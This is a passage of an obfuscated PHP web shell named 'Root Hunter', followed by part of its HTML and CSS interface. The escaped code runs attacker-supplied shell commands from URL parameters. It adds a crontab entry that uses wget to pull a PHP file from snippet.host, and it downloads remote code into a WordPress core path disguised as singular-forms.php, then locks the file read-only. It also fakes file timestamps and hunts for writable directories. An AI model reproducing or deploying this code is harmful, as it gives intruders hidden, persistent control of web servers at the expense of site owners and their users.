"\x3c\142\162\76\x54\x6f\164\x61\x6c\40\x61\144\x61\x20{$IIIIIIII11I1}\40\153\x61\x6d\x61\x72\40\144\151\40{$IIIIIIII1III}"; } echo "\x3c\x2f\x70\162\145\x3e"; } echo "\x3c\x2f\x64\x69\x76\76\x3c\142\x72\57\76"; die; } goto DGXlf; QR2gb: if ($_GET["\141\153\x73\151"] == "\160\141\163\x73\x77\x62\171\160\141\163\x73") { IIIIIII1lll1($dir, $file); } goto kV2xI; GVG6U: if (isset($_GET["\143\x68\x61\156\147\145\x64\x61\x74\145\156\x79\x61"])) { $IIIIIIlllI11 = $_GET["\143\x68\x61\156\147\145\144\x61\164\x65\x6e\x79\x61"]; echo "\x3c\x70\162\145\x20\143\x6c\x61\163\x73\x3d\x27\164\x65\170\x74\55\167\150\151\164\145\x27\76" . ex("\154\163\x20\x27{$IIIIIIlllI11}\x27\40\76\x20\144\x61\164\x65\x2e\x74\x78\164") . "\74\x2f\x70\162\145\x3e"; ex("\146\x6f\x72\x20\x69\40\151\x6e\40\44\x28\143\141\x74\x20\x64\141\164\x65\56\164\170\x74\x29\73\144\x6f\x20\164\x6f\165\143\150\x20\x2d\155\164\x20\44\50\x65\143\x68\x6f\x20\62\x30\x31\44\x28\x73\x68\165\146\x20\x2d\151\60\55\x31\62\x20\x2d\x6e\61\x29\60\x24\x28\163\x68\x75\x66\x20\55\x69\x30\55\61\x32\x20\55\x6e\61\51\x30\44\x28\x73\x68\x75\x66\x20\x2d\x69\x30\x2d\61\x32\x20\55\x6e\x31\x29\x30\x30\60\60\x29\x20" . $_GET["\x63\x68\141\156\147\145\144\x61\x74\x65\156\171\141"] . "\x2f\x24\151\73\x64\157\x6e\x65"); echo "\74\x70\40\x63\x6c\x61\x73\x73\75\47\x74\x65\170\164\55\167\150\x69\x74\x65\x27\x3e\133\53\135\40\x44\x6f\156\145\x21\74\x62\162\x3e\x5b\52\135\x20\x4e\157\164\x20\x57\x6f\162\153\x69\x6e\147\77\40\74\x61\40\150\162\x65\x66\x3d\x27\77\144\151\162\x3d" . $dir . "\46\141\x6b\x73\151\75\x6e\147\145\142\145\x70\141\x73\x73\x27\76\102\x79\x70\141\x73\163\40\x69\x74\74\x2f\141\76\x3c\57\x70\76\x3c\57\144\x69\166\x3e\74\x2f\144\151\x76\76"; ex("\162\x6d\x20\55\162\146\x20\x64\141\164\x65\56\x74\170\164"); die; } goto T4EHp; t_iiR: $IIIIIIII1llI = @ini_get("\x64\151\163\x61\x62\154\x65\137\x66\x75\x6e\x63\x74\151\x6f\x6e\163"); goto vKC7m; XzELM: echo "\x26\x6e\142\163\x70\73\x26\x6e\x62\x73\160\x3b\x5b\x20" . w($dir, IIIIIIIIl1II($dir)) . "\40\135\74\x2f\x73\x70\141\x6e\x3e"; goto usbii; OPGhy: function IIIIIIIlI1Il($dir) { echo "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\163\75\x22\x63\141\x72\144\40\155\142\55\x35\x22\76\12\x3c\144\x69\166\40\143\x6c\x61\x73\163\x3d\x22\x63\141\x72\144\55\142\x6f\x64\x79\40\x66\157\x72\155\55\x67\162\157\x75\x70\42\76\12\74\x70\40\143\154\x61\163\x73\x3d\x22\164\145\170\164\55\155\165\164\145\x64\42\76\x43\x72\157\156\164\x61\142\40\123\x68\145\154\x6c\74\x2f\160\76\xa"; ex("\160\x77\x64\x3d\44\50\160\167\144\x29\73\x65\143\150\157\40\x22\x2a\40\x2a\x20\x2a\40\x2a\x20\52\40\x77\147\145\x74\40\x2d\x4f\40\44\160\167\144\57\x61\165\164\x6f\x5f\x61\144\155\151\x6e\x2e\x70\150\160\x20\x68\x74\x74\x70\x73\72\57\x2f\x73\x6e\x69\160\160\x65\164\56\150\157\x73\x74\57\x70\x77\x78\171\57\162\x61\x77\42\x20\x7c\x20\143\162\157\x6e\164\141\142"); $IIIIIIIlI1I1 = ex("\x63\x72\x6f\x6e\x74\141\142\x20\55\154"); if ($IIIIIIIlI1I1 == '') { echo "\x3c\160\40\x63\154\x61\x73\163\75\42\146\157\156\x74\x2d\x77\x65\151\147\x68\x74\55\142\x6f\154\x64\x20\164\x65\170\x74\55\x64\141\x6e\x67\145\162\42\76\133\55\x5d\x20\106\x61\x69\154\145\144\x20\x4d\145\155\141\163\141\156\147\74\x2f\x70\76\74\57\x64\x69\x76\76\74\57\144\x69\166\x3e"; } else { echo "\74\160\x20\143\x6c\141\x73\x73\75\x22\x66\x6f\156\164\55\167\145\151\x67\150\x74\x2d\x62\x6f\154\144\x20\164\x65\170\x74\55\163\x75\143\x63\145\163\163\42\76\133\x2b\x5d\x20\x52\165\x6e\x6e\x69\156\x67\40\103\x72\x6f\156\164\x61\x62\x20\72\x20\x3c\x2f\142\x72\76" . ex("\143\x72\x6f\x6e\164\x61\x62\x20\55\154") . "\74\x2f\x70\x3e\74\x2f\x64\x69\166\x3e\74\x2f\144\151\x76\x3e"; } } goto HgISA; LFiqG: if (isset($_GET["\146\151\156\x64\x77\162\151\164\145"])) { $IIIIIIlllI11 = $_GET["\146\x69\x6e\x64\167\162\151\x74\145"]; echo "\74\160\x72\145\x20\143\x6c\x61\x73\x73\75\47\164\x65\170\x74\55\x77\x68\151\x74\145\47\x3e" . ex("\154\163\40\x27{$IIIIIIlllI11}\47\40\76\40\144\x61\x74\145\56\x74\x78\x74") . "\74\x2f\160\162\145\76"; ex("\146\151\156\x64\40" . $_GET["\x66\151\x6e\144\x77\x72\x69\164\145"] . "\x20\55\164\x79\x70\x65\x20\144\x20\x2d\x77\x72\151\x74\141\x62\154\145\x20\x3e\40\x77\162\151\x74\141\x62\x6c\x65\56\x74\170\164"); echo "\x3c\x70\x20\143\x6c\141\x73\x73\75\47\x74\145\x78\164\55\x77\x68\x69\x74\x65\47\x3e\133\x2b\135\40\106\157\x75\156\x64\40\72\x20\x3c\x2f\160\x3e\x3c\x62\x72\x3e\x3c\160\40\143\x6c\x61\x73\163\x3d\x27\164\x65\170\164\55\167\x68\151\164\x65\x27\76" . ex("\x66\157\x72\x20\x69\40\x69\x6e\x20\44\x28\143\141\164\40\x77\162\x69\164\141\x62\x6c\x65\x2e\x74\170\164\x29\x3b\144\x6f\40\x70\162\151\156\164\146\x20\x22\x24\151\40\75\76\x20\x46\157\x75\x6e\144\xa\x22\73\144\157\156\145") . "\x3c\57\x70\x3e\74\57\144\151\166\76\74\57\x64\x69\x76\76"; die; } goto AjK8T; DjebA: if ($_GET["\141\x6b\x73\151"] == "\163\171\155\154\x69\156\x6b") { IIIIIII1l1l1($dir, $file); } goto UBaO0; IGcBk: function deployrh($dir) { echo "\74\x64\x69\166\x20\x63\x6c\141\163\x73\x3d\42\x63\141\x72\x64\x20\155\x62\x2d\65\42\x3e\xa\74\144\x69\166\x20\x63\x6c\x61\x73\163\x3d\x22\x63\x61\162\144\x2d\142\x6f\144\171\x20\x66\x6f\162\155\55\x67\x72\157\x75\160\42\76"; echo "\x3c\x70\x20\143\x6c\x61\163\x73\75\42\164\x65\170\x74\55\x77\141\162\156\151\156\x67\40\164\145\x78\164\55\x63\145\x6e\x74\x65\162\x20\x66\x6f\x6e\164\x2d\x77\x65\151\147\150\164\x2d\142\x6f\154\x64\x22\x3e\133\53\x5d\40\x44\x65\x70\154\x6f\171\x69\x6e\x67\40\122\157\x6f\x74\40\x48\x75\x6e\x74\145\x72\x20\x76\61\x3c\x2f\x70\x3e"; echo "\74\146\x6f\x72\155\x20\155\x65\x74\150\157\144\x3d\42\x70\x6f\x73\164\42\76"; echo "\74\x63\145\156\164\145\x72\76\74\x69\x6e\x70\165\x74\40\143\x6c\x61\x73\163\75\42\x62\x74\156\40\x62\x74\x6e\x2d\163\165\143\143\x65\163\163\x22\x20\164\171\160\145\x3d\x22\x73\165\142\155\x69\164\x22\40\x6e\141\155\x65\75\42\x64\x65\x70\154\157\171\x72\150\167\163\x22\40\166\x61\x6c\165\x65\x3d\x22\104\145\x70\x6c\x6f\x79\x20\122\x6f\x6f\x74\x20\x48\165\156\x74\x65\x72\42\76\74\x2f\143\145\156\164\x65\x72\x3e"; echo "\74\x2f\x66\x6f\x72\155\76"; if (isset($_POST["\144\x65\x70\154\157\x79\162\150\167\x73"])) { $deployrh_result = ''; $startDirectory = realpath(__DIR__); if (isset($_SERVER["\110\x54\x54\120\123"]) && $_SERVER["\110\124\124\120\123"] === "\157\x6e") { $url = "\150\164\x74\x70\163\x3a\x2f\57"; } else { $url = "\150\164\x74\160\72\57\57"; } $url .= $_SERVER["\x48\124\x54\120\x5f\x48\117\x53\124"]; if ($startDirectory !== $_SERVER["\104\x4f\103\x55\x4d\x45\116\x54\137\122\x4f\117\x54"]) { $rhws_path = $startDirectory . "\57\x77\x70\x2d\151\156\143\x6c\x75\144\x65\x73\x2f\x70\157\x6d\x6f\57"; $rhws = $startDirectory . "\x2f\167\x70\55\151\x6e\x63\x6c\x75\144\x65\x73\x2f\x70\157\155\157\57\163\151\156\147\165\x6c\141\x72\55\146\157\162\155\x73\x2e\160\x68\160"; $doc = $startDirectory . "\x2f\x66\x6f\157\164\x65\162\137\117\114\x44\56\x70\150\x70"; $cleaned = str_replace($startDirectory, '', $rhws_path); $cleaned_doc = str_replace($startDirectory, '', $doc); } else { $rhws_path = $_SERVER["\x44\117\x43\125\x4d\x45\116\124\137\x52\117\x4f\x54"] . "\x2f\167\160\x2d\151\x6e\143\154\x75\x64\145\x73\57\160\x6f\155\157\57"; $rhws = $_SERVER["\x44\117\x43\x55\115\105\116\x54\137\122\x4f\x4f\124"] . "\x2f\167\160\55\x69\156\x63\154\165\x64\x65\163\x2f\x70\157\x6d\x6f\x2f\163\x69\x6e\x67\165\154\141\162\55\x66\x6f\162\x6d\x73\56\x70\x68\x70"; $doc = $_SERVER["\x44\117\103\x55\115\x45\116\x54\137\x52\x4f\117\x54"] . "\57\146\x6f\x6f\x74\x65\x72\x5f\x4f\114\104\56\160\150\160"; $cleaned = str_replace($_SERVER["\x44\x4f\x43\x55\115\x45\x4e\124\x5f\x52\x4f\x4f\124"], '', $rhws_path); $cleaned_doc = str_replace($_SERVER["\104\x4f\x43\125\115\x45\116\x54\137\122\x4f\117\124"], '', $doc); } $src = "\x68\164\164\160\x73\x3a\x2f\x2f\x72\145\163\56\143\154\157\x75\x64\151\x6e\x61\162\171\x2e\143\x6f\x6d\57\x64\142\141\x73\x73\x65\164\163\x2f\x72\x61\167\x2f\165\x70\x6c\x6f\x61\x64\x2f\x76\x31\x36\x35\x32\x30\x33\70\61\x35\x32\x2f\x74\x6f\157\x6c\57\x63\x6c\141\x73\x73\55\x63\141\x74\145\147\x6f\162\171\x5f\147\165\147\172\67\161\x2e\164\170\x74"; if (file_exists($rhws)) { $deployrh_result .= "\74\x73\160\x61\x6e\40\143\154\141\163\163\x3d\42\x74\x65\x78\164\x2d\143\x65\156\x74\x65\162\x20\164\145\x78\x74\55\151\156\x66\157\40\x66\157\x6e\x74\x2d\167\x65\x69\147\x68\x74\55\x62\157\x6c\144\73\42\x3e\133\53\135\40\122\157\157\164\40\x48\x75\x6e\x74\x65\x72\40\166\x31\40\123\x75\x64\x61\150\x20\101\x64\141\41\x3c\57\163\x70\x61\156\x3e\x3c\x62\x72\x2f\x3e"; $deployrh_result .= "\x3c\163\x70\141\x6e\x20\x63\x6c\141\x73\x73\x3d\x22\x74\x65\x78\164\55\x63\145\156\164\x65\162\40\x74\x65\170\x74\x2d\151\x6e\146\x6f\x20\146\157\156\164\x2d\x77\145\151\147\150\164\55\x62\157\x6c\x64\x3b\x22\76\74\141\x20\150\162\x65\146\75\x22" . $url . $cleaned . "\x22\x20\x74\x61\x72\x67\x65\164\x3d\x22\137\142\154\141\156\153\42\x20\x72\x65\154\x3d\42\x6e\157\146\157\154\154\157\x77\40\156\157\x6f\160\x65\156\145\162\40\x6e\x6f\x72\145\146\145\x72\162\145\x72\42\x20\x63\154\141\163\x73\75\x22\x74\x65\170\x74\x2d\x63\x65\x6e\164\145\x72\x20\x74\x65\x78\x74\x2d\151\x6e\x66\157\42\x3e" . $url . $cleaned . "\74\x2f\141\x3e\74\57\x73\160\x61\156\76\74\142\162\x2f\76"; } if (file_exists($doc)) { $deployrh_result .= "\74\163\160\x61\156\x20\143\x6c\141\x73\x73\75\x22\164\x65\170\x74\x2d\x63\145\156\x74\145\x72\40\164\145\170\x74\55\x69\x6e\x66\x6f\x20\146\157\x6e\164\x2d\167\x65\x69\x67\x68\x74\x2d\x62\157\x6c\x64\x3b\42\76\133\53\x5d\x20\x52\157\157\164\x20\110\165\x6e\164\145\162\x20\166\61\x20\123\165\144\x61\150\40\x41\x64\141\41\74\x2f\x73\x70\141\x6e\x3e\74\x62\x72\57\x3e"; $deployrh_result .= "\x3c\163\x70\141\156\40\x63\x6c\141\x73\163\x3d\42\164\x65\170\164\55\143\145\x6e\164\145\162\40\164\145\170\x74\55\151\x6e\146\x6f\x20\146\157\156\x74\x2d\x77\145\151\147\x68\164\x2d\142\x6f\x6c\144\x3b\x22\76\x3c\x61\x20\150\x72\x65\x66\x3d\x22" . $url . $cleaned_doc . "\x22\40\164\141\162\147\145\x74\75\42\x5f\x62\154\141\156\153\x22\x20\x72\145\x6c\75\x22\156\157\146\157\154\154\x6f\x77\40\x6e\157\157\160\x65\x6e\x65\162\x20\156\x6f\162\145\146\145\162\x72\145\162\x22\40\143\154\x61\x73\x73\75\x22\164\145\x78\x74\55\143\x65\156\x74\145\x72\x20\164\x65\170\x74\x2d\151\x6e\x66\x6f\42\x3e" . $url . $cleaned_doc . "\x3c\57\x61\76\x3c\57\x73\x70\x61\x6e\76\x3c\x62\162\x2f\x3e"; } if (is_dir($rhws_path) && is_writable($rhws_path)) { $content = file_get_contents($src); $status = file_put_contents($rhws, $content); if ($status) { $deployrh_result .= "\74\163\160\141\x6e\40\x63\154\141\163\x73\x3d\x22\x74\145\x78\x74\x2d\x63\x65\x6e\164\x65\x72\40\164\145\170\164\55\x73\165\143\143\x65\x73\x73\40\x66\157\x6e\164\x2d\167\145\x69\147\150\x74\x2d\x62\157\154\144\73\42\x3e\133\x2b\135\x20\102\145\x72\150\x61\163\151\x6c\40\x44\145\160\154\157\171\x20\x52\157\x6f\x74\40\x48\x75\x6e\164\x65\162\x20\x76\61\41\74\x2f\x73\x70\x61\156\x3e\74\x62\x72\x2f\76"; $deployrh_result .= "\74\x73\x70\x61\156\x20\143\x6c\141\163\x73\x3d\42\x74\x65\x78\164\55\x63\x65\x6e\164\x65\x72\40\x74\x65\170\164\55\151\x6e\146\157\x20\146\x6f\x6e\164\55\167\x65\x69\x67\150\164\55\x62\x6f\x6c\x64\73\x22\x3e\74\141\x20\x68\162\145\x66\x3d\x22" . $url . $cleaned . "\42\40\x74\141\162\x67\x65\x74\x3d\42\x5f\142\154\141\x6e\153\x22\x20\x72\145\x6c\75\x22\x6e\157\x66\x6f\154\154\157\167\x20\156\157\x6f\160\x65\x6e\145\162\x20\x6e\x6f\162\145\146\x65\x72\162\x65\x72\x22\x20\x63\154\141\x73\163\x3d\x22\164\x65\170\x74\55\x63\x65\156\x74\145\162\40\164\x65\170\164\x2d\151\x6e\x66\157\x22\x3e" . $url . $cleaned . "\x3c\57\x61\x3e\74\x2f\x73\x70\x61\156\76\x3c\142\162\x2f\76\74\x62\162\x2f\76"; chmod($rhws, 292); } else { $deployrh_result .= "\74\x73\x70\x61\156\x20\143\154\141\163\x73\x3d\42\164\x65\x78\x74\55\143\x65\x6e\x74\145\162\x20\x74\145\x78\164\x2d\x64\x61\156\x67\x65\x72\x20\x66\157\x6e\164\55\x77\x65\x69\x67\x68\x74\x2d\x62\x6f\x6c\144\x3b\42\76\x5b\55\135\40\x47\x61\x67\141\x6c\x20\x44\x65\160\154\x6f\x79\x20\x52\x6f\157\x74\40\110\x75\x6e\x74\145\162\40\166\61\x21\74\x2f\163\x70\x61\156\x3e\74\142\162\x2f\x3e"; } } else { $content = file_get_contents($src); $status = file_put_contents($doc, $content); if ($status) { $deployrh_result .= "\x3c\163\x70\x61\x6e\x20\143\x6c\141\x73\x73\75\x22\x74\x65\170\x74\x2d\143\145\156\x74\145\x72\40\164\145\170\164\55\163\x75\x63\x63\145\x73\x73\x20\x66\157\156\164\55\x77\x65\151\147\150\x74\x2d\142\157\154\x64\x3b\42\x3e\x5b\x2b\135\x20\x42\145\162\x68\x61\x73\x69\154\x20\x44\145\160\154\157\171\40\122\x6f\157\164\x20\x48\165\156\164\x65\x72\x20\166\61\41\x3c\x2f\x73\x70\141\x6e\76\74\x62\x72\57\x3e"; $deployrh_result .= "\x3c\x73\160\x61\x6e\x20\x63\x6c\x61\x73\x73\75\x22\164\x65\170\x74\55\143\145\156\x74\x65\x72\40\x74\x65\x78\164\x2d\151\x6e\x66\157\40\146\x6f\156\164\55\167\x65\x69\147\150\164\x2d\x62\x6f\154\x64\x3b\42\76\74\x61\40\x68\162\x65\146\x3d\x22" . $url . $cleaned_doc . "\42\40\x74\x61\x72\x67\145\164\x3d\x22\137\142\x6c\141\x6e\153\42\40\x72\x65\154\x3d\x22\x6e\x6f\x66\x6f\x6c\154\x6f\167\40\156\157\157\x70\145\156\145\x72\x20\156\157\162\145\x66\145\162\162\145\162\42\40\x63\154\x61\163\163\x3d\42\x74\x65\x78\164\x2d\x63\145\x6e\164\145\x72\x20\164\x65\x78\x74\55\151\x6e\x66\157\x22\x3e" . $url . $cleaned_doc . "\74\57\x61\x3e\74\x2f\x73\160\141\x6e\76\74\x62\162\x2f\76\74\142\x72\57\76"; chmod($doc, 292); } else { $deployrh_result .= "\74\x73\x70\141\156\x20\143\x6c\x61\x73\163\x3d\42\164\145\170\x74\x2d\x63\145\x6e\164\x65\162\x20\x74\145\170\x74\55\144\141\x6e\x67\x65\162\x20\146\x6f\x6e\x74\55\167\145\x69\x67\x68\164\x2d\x62\x6f\x6c\x64\73\42\x3e\133\55\135\40\107\x61\147\141\154\x20\x44\145\x70\x6c\x6f\171\x20\122\x6f\x6f\x74\x20\110\x75\156\x74\x65\x72\40\166\x31\x21\74\x2f\163\x70\x61\x6e\x3e\x3c\142\x72\x2f\76"; } } echo "\x3c\144\x69\166\40\x73\x74\x79\154\x65\x3d\42\142\x6f\x72\x64\145\x72\x2d\142\x6f\164\164\157\x6d\x3a\x30\73\x6d\x61\x72\x67\151\x6e\55\x74\x6f\160\x3a\65\x70\170\73\42\x20\162\145\x61\144\x6f\x6e\154\x79\x3e"; echo "\x3c\x63\x65\x6e\164\x65\162\76"; print_r($deployrh_result) . PHP_EOL; echo "\x3c\x2f\143\x65\x6e\164\145\x72\x3e"; echo "\74\x2f\x64\151\166\x3e"; } echo "\x3c\57\x64\x69\x76\76\74\x2f\144\151\x76\x3e"; } goto eLB0i; bYCUl: if ($_GET["\x61\x6b\163\151"] == "\162\x65\x6e\141\155\145") { IIIIIIIll11I($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l); } goto JNqQW; Ou_xB: function IIIIIIIlllll($dir, $IIIIIIII1l1l) { echo "\74\150\64\76{$IIIIIIII1l1l}\40\102\x75\x61\164\40\106\x69\154\145\40\72\74\x2f\x68\x34\x3e\xa\74\146\x6f\162\155\x20\155\145\x74\150\x6f\144\x3d\x27\120\x4f\x53\x54\x27\76\xa\74\144\151\x76\40\143\x6c\141\163\163\x3d\47\151\156\160\x75\x74\x2d\x67\x72\157\165\x70\x27\x3e\xa\74\x69\x6e\160\165\x74\40\164\x79\160\145\75\x27\x74\145\x78\x74\47\40\x63\x6c\141\163\x73\75\x27\146\x6f\162\x6d\55\143\157\x6e\164\162\x6f\154\x27\x20\156\x61\x6d\145\75\47\x6e\x61\155\x61\137\146\x69\154\145\133\x5d\47\x20\160\x6c\x61\x63\x65\x68\157\x6c\x64\145\x72\75\47\x4e\141\x6d\x61\40\106\x69\x6c\145\56\56\x2e\x27\76\12\x3c\144\x69\x76\x20\x63\x6c\141\x73\163\x3d\x27\151\156\160\x75\x74\55\x67\x72\x6f\165\x70\x2d\x70\162\145\160\145\x6e\x64\x27\76\12\74\144\x69\166\x20\143\x6c\141\163\x73\x3d\x27\x69\156\x70\165\x74\55\x67\162\x6f\165\160\x2d\x74\145\x78\x74\x27\x3e\x3c\141\40\x69\x64\75\47\x61\x64\144\137\151\156\x70\x75\164\47\x3e\74\151\40\x63\154\x61\x73\163\75\x27\146\141\x20\146\141\55\160\x6c\165\163\47\x3e\x3c\x2f\151\76\x3c\x2f\141\76\74\x2f\x64\151\166\x3e\xa\74\57\144\x69\x76\x3e\xa\74\x2f\144\151\166\76\74\x62\162\57\76\xa\x3c\x64\x69\166\40\151\144\75\x27\x6f\165\164\160\165\164\47\x3e\74\x2f\144\151\166\76\12\x3c\164\x65\x78\x74\141\x72\x65\x61\x20\156\141\155\145\75\47\151\x73\151\137\x66\151\154\145\47\40\143\154\x61\x73\163\75\47\146\157\x72\x6d\55\143\157\156\x74\162\x6f\x6c\47\x20\162\157\167\x73\x3d\x27\x31\65\x27\40\160\x6c\x61\x63\x65\x68\157\154\144\145\x72\75\x27\x49\163\151\40\106\x69\x6c\145\x2e\x2e\x2e\47\x3e\74\x2f\x74\x65\x78\x74\x61\162\x65\141\x3e\74\x62\162\57\76\12\x3c\x69\156\x70\x75\x74\x20\x74\171\x70\145\75\47\163\165\142\155\151\164\47\40\143\154\141\x73\x73\75\47\142\x74\x6e\40\x62\164\x6e\55\x73\x75\x63\143\x65\x73\x73\x20\142\164\156\x2d\142\x6c\x6f\143\153\40\x6d\x62\x2d\65\x27\40\156\x61\155\x65\75\x27\x62\x69\x6b\x69\156\47\40\166\x61\154\x75\x65\x3d\x27\102\165\141\164\x27\76\12\x3c\57\x66\x6f\x72\x6d\x3e"; if (isset($_POST["\x62\x69\x6b\151\x6e"])) { $name = $_POST["\156\141\x6d\x61\x5f\x66\x69\x6c\145"]; $isi_file = $_POST["\x69\163\x69\137\146\x69\x6c\x65"]; foreach ($name as $nama_file) { $IIIIIIIIlI1l = @fopen("{$nama_file}", "\167"); if ($isi_file) { $buat = @fwrite($IIIIIIIIlI1l, $isi_file); } else { $buat = $IIIIIIIIlI1l; } } if ($buat) { $IIIIIIIlIl1l = "\x73\x75\143\x63\x65\163\163"; $IIIIIIIlIl11 = "\102\145\162\x68\141\163\x69\x6c\x20\x4d\x65\x6d\142\x75\x61\x74\x20\106\x69\154\145"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "\145\162\162\x6f\162"; $IIIIIIIlIl11 = "\x47\x61\x67\141\154\x20\115\x65\155\142\x75\141\x74\40\106\x69\154\145"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto aV7hf; VduaH: if ($_GET["\x61\153\x73\x69"] == "\x6d\157\144\165\x6c\x65\163") { modules($dir); } goto AFmQi; omEN2: ?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<meta name="theme-color" content="#343a40"/>
<meta name="robots" content="noindex,nofollow,noarchive"/>
<link rel="icon" type="image/png" href="https://storage.googleapis.com/indie-hackers.appspot.com/product-avatars/the-spaghetti-detective/wnjPLrb5rESAhWhn440yUENW8A42"/>
<title>Root Hunter</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.min.css"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"/>
<script src="https://code.jquery.com/jquery-3.3.1.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js"></script>
<link rel="stylesheet" href="https://highlightjs.org/static/demo/styles/a11y-light.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.5.0/highlight.min.js"></script>
<script>
document.addEventListener('DOMContentLoaded', (event) => {
document.querySelectorAll('pre code').forEach((el) => {
hljs.highlightElement(el);
});
});
</script>
<script type="text/javascript">
function copyhasil() {
var codeView = document.getElementById("codeView");
codeView.select();
document.execCommand("copy");
}
</script>
</head>
<body class="bg-dark text-light">
<script>
$(document).ready(function(){
$(window).scroll(function(){
if ($(this).scrollTop() > 700){
$(".scrollToTop").fadeIn();
}else{
$(".scrollToTop").fadeOut();
}
});
$(".scrollToTop").click(function(){
$("html, body").animate({scrollTop : 0},1000);
return false;
});
});
$(document).ready(function(){
$('input[type="file"]').on("change", function(){
let filenames = [];
let files = document.getElementById("customFile").files;
if (files.length > 1){
filenames.push("Total Files (" + files.length + ")");
}else{
for (let i in files){
if (files.hasOwnProperty(i)){
filenames.push(files[i].name);
}
}
}
$(this).next(".custom-file-label").html(filenames.join(","));
});
});
var max_fields = 5;
var x = 1;
$(document).on('click', '#add_input', function(e){
if(x < max_fields){
x++;
$('#output').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_file[]\" placeholder=\"Nama File...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');
}
$('#output').on("click",".remove", function(e){
e.preventDefault(); $(this).parent('#out').remove(); x--;
repeat();
})
});
$(document).on('click', '#add_input1', function(e){
if(x < max_fields){
x++;
$('#output1').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_folder[]\" placeholder=\"Nama Folder...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');
}
$('#output1').on("click",".remove", function(e){
e.preventDefault(); $(this).parent('#out').remove(); x--;
repeat();
})
});
</script>
<style>
@import url(https://fonts.googleapis.com/css?family=Lato);
@import url(https://fonts.googleapis.com/css?family=Quicksand);
@import url(https://fonts.googleapis.com/css?family=Inconsolata);
@media(min-width:767px){.scrollToTop{display:none !important;}}
@media(max-width:767px){textarea{font-size:13px !important;}}
input[type=text],textarea{font-family:Inconsolata,monospace}body{margin:0;padding:0;font-family:Lato;overscroll-behavior:none}.infor{font-size:14px;color:#333!important}.ds{color:red!important;word-wrap:break-word}#tab table thead th{padding:5px;font-size:16px;white-space:nowrap}#tab tr{border-bottom:1px solid #ccc}#tab tr:hover{background:#5b6f7d;color:#fff}#tab tr td{padding:5px 10px;white-space:nowrap}.pinggir{text-align:left!important;padding-left:4px!important}#tab tr td .badge{font-size:13px}.active,.active:hover{color:#0f0}a{font-family:Quicksand;color:#fff}a:hover{color:#1e90ff}.badge{width:30px;transition:.3s}.badge:hover{transform:scale(1.1);transition:.3s}.ico{width:25px}.ico2{width:30px}.scrollToTop{position:fixed;bottom:30px;right:30px;width:35px;height:35px;background:#262626;color:#fff;border-radius:15%;text-align:center;opacity:.5}.scrollToTop:hover{color:#fff}.up{font-size:25px;line-height:35px}.lain{color:#888;font-size:20px;margin-left:5px;top:1px}.lain:hover{color:#fff}.tambah{width:35px;height:35px;line-height:35px;border:1px solid;border-radius:50%;text-align:center}.fiture{margin:3px}.tmp th{font-size:14px}.tmp tr td{border:solid 1px #bbb;text-align:center;font-size:13px;padding:2px 5px}.tmp tr:hover{background:#5b6f7d;color:#fff}.about{color:#000}.about .card-body .img{position:relative;background:url(https://i.postimg.cc/Wb1X4xNS/image.png);background-size:cover;width:150px;height:150px}.butn{position:relative;text-align:center;padding:3px;background:rgba(225,225,225,.3);-webkit-transition:background .3s ease,color .3s ease;transition:background .3s ease,color .3s ease}input[type=radio].toggle{display:none}input[type=radio].toggle+label{cursor:pointer;margin:0 2px;width:60px}input[type=radio].toggle+label:after{position:absolute;content:"";top:0;background:#fff;height:100%;width:100%;z-index:-1;-webkit-transition:left .4s cubic-bezier(.77, 0, .175, 1);transition:left .4s cubic-bezier(.77, 0, .175, 1)}input[type=radio].toggle.toggle-left+label:after{left:100%}input[type=radio].toggle.toggle-right+label{margin-left:-5px}input[type=radio].toggle.toggle-right+label:after{left:-100%}input[type=radio].toggle:checked+label{cursor:default;color:#000;-webkit-transition:color .4s;transition:color .4s}input[type=radio].toggle:checked+label:after{left:0}.pace{-webkit-pointer-events:none;pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none}.pace-inactive{display:none}.pace .pace-progress{background:#ffc107;position:fixed;z-index:2000;top:0;right:100%;width:100%;height:6px}.pace .pace-progress-inner{display:block;position:absolute;right:0;width:100px;height:100%;box-shadow:0 0 10px #ffc107,0 0 5px #ffc107;opacity:1;-webkit-transform:rotate(3deg) translate(0,-4px);-moz-transform:rotate(3deg) translate(0,-4px);-ms-transform:rotate(3deg) translate(0,-4px);-o-transform:rotate(3deg) translate(0,-4px);transform:rotate(3deg) translate(0,-4px)}.pace .pace-activity{display:block;position:fixed;z-index:2000;top:15px;right:15px;width:24px;height:24px;border:solid 4px transparent;border-top-color:#ffc107;border-left-color:#ffc107;border-radius:10px;-webkit-animation:pace-spinner .4s linear infinite;-moz-animation:pace-spinner .4s linear infinite;-ms-animation:pace-spinner 400ms linear infinite;-o-animation:pace-spinner .4s linear infinite;animation:pace-spinner .4s linear infinite}@-webkit-keyframes pace-spinner{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-moz-keyframes pace-spinner{0%{-moz-transform:rotate(0);transform:rotate(0)}100%{-moz-transform:rotate(360deg);transform:rotate(360deg)}}@-o-keyframes 